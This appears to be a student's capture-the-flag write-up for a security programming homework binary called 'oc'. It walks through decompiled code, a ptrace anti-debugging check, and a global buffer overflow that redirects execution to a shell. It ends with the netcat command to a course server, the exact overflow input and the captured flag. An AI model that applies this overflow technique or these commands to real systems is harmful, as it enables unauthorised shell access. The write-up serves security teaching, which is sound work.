oc Writeup

Security Programming Homework 1-3

Using IDA Pro’s impressive F5 decompilation, we discover sub_80485D7() is the most interesting part

......
v6 = ptrace(0, 0, 1, 0);
......
if ( a1 != 14 )
{
    if ( a1 != 12 )
    {
        dword_804A044 = loc_8048707;
        src = loc_8048720;
        v4 = strlen(*(const char **)(a2 + 28));
        strncpy(dest, *(const char **)(a2 + 28), v4);
        if ( v6 >= 0 )
            memcpy(dword_804A044, src, src - dword_804A044);
    }
    puts("uhhh....it's something wrong.");
    exit(0);
}
system("/bin/sh");
return 0;
......

The program will copy the character(s) after 7th (including #7) character of a2 to dest. But dest is not used anymore (suspicious). Just keep in mind.

According to the text file (linux-anti-debugging.txt) from the hint

int main()
{
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
        printf("DEBUGGING... Bye\n");
        return 1;
    }
    printf("Hello\n");
    return 0;
}

ptrace() will return positive integer while the exectuable is not being debugged. So the program oc will show “The flag is Support for universal suffrage in Hong Kong just kidding. :p” while not being debugged and show “uhhh….it’s something wrong.” while being debugged.

Because dest can only contain 16 char, more than 16 char being copied to dest will cause the variable, src, being overwritten

0804A048    ; char dest[16]
0804A048    dest        db 10h dup(?)
0804A058    ; void *src
0804A058    src         dd ?

So our objective is to jump to 0x08048731, i.e. system("/bin/sh"). By observation, we only need to overwritten 0x31. 0x31 is actually ASCII “1”. In conclusion, we need 7 candidates as input, and the 7th candidate must be length of 17, the last character must be “1”

Exploitation

1. nc 140.113.208.235 10002
2. input 1 1 1 1 1 1 11111111111111111
3. got shell
4. cat flag

Capture The Flag

The flag is SECPROC{0ccupy_C3ntr4l_w1th_L0v3_4nd_P34c3}